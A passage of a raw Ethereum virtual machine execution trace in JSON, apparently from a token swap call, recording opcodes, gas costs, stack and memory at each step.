f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000","0x1518","0x2bda54fce7dbfc916a32","0x3e8","0x0","0x3e8","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15107,"op":"DUP4","gas":101775,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000","0x1518","0x2bda54fce7dbfc916a32","0x3e8","0x0","0x4189374bc6a7ef9db22d0e5604189374bc6a7ef9db22d0e5604189374bc6a7"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15108,"op":"GT","gas":101772,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000","0x1518","0x2bda54fce7dbfc916a32","0x3e8","0x0","0x4189374bc6a7ef9db22d0e5604189374bc6a7ef9db22d0e5604189374bc6a7","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15109,"op":"DUP3","gas":101769,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000","0x1518","0x2bda54fce7dbfc916a32","0x3e8","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15110,"op":"ISZERO","gas":101766,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000","0x1518","0x2bda54fce7dbfc916a32","0x3e8","0x0","0x0","0x3e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15111,"op":"ISZERO","gas":101763,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000","0x1518","0x2bda54fce7dbfc916a32","0x3e8","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15112,"op":"AND","gas":101760,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000","0x1518","0x2bda54fce7dbfc916a32","0x3e8","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15113,"op":"ISZERO","gas":101757,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000","0x1518","0x2bda54fce7dbfc916a32","0x3e8","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15114,"op":"PUSH2","gas":101754,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000","0x1518","0x2bda54fce7dbfc916a32","0x3e8","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15117,"op":"JUMPI","gas":101751,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000","0x1518","0x2bda54fce7dbfc916a32","0x3e8","0x0","0x1","0x3b15"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15125,"op":"JUMPDEST","gas":101741,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000","0x1518","0x2bda54fce7dbfc916a32","0x3e8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15126,"op":"POP","gas":101740,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000","0x1518","0x2bda54fce7dbfc916a32","0x3e8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15127,"op":"MUL","gas":101738,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000","0x1518","0x2bda54fce7dbfc916a32","0x3e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15128,"op":"SWAP1","gas":101733,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000","0x1518","0xab4cdbfbe9b3529806d350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15129,"op":"JUMP","gas":101730,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000","0xab4cdbfbe9b3529806d350","0x1518"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5400,"op":"JUMPDEST","gas":101722,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000","0xab4cdbfbe9b3529806d350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5401,"op":"PUSH2","gas":101721,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000","0xab4cdbfbe9b3529806d350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5404,"op":"SWAP2","gas":101718,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2